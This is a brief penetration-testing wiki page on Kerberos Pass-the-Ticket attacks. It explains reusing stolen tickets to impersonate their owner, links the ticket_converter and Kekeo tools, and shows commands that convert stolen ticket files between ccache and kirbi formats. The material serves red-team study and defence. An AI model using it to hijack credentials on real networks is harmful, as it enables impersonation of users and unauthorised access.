# Pass the Ticket

## Pass The Ticket \(PTT\)

This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner.

**Read**:

### **Swaping Linux and Windows tickets between platforms**

The [ticket\_converter](https://github.com/Zer1t0/ticket_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example:

```text
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```

[Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning.
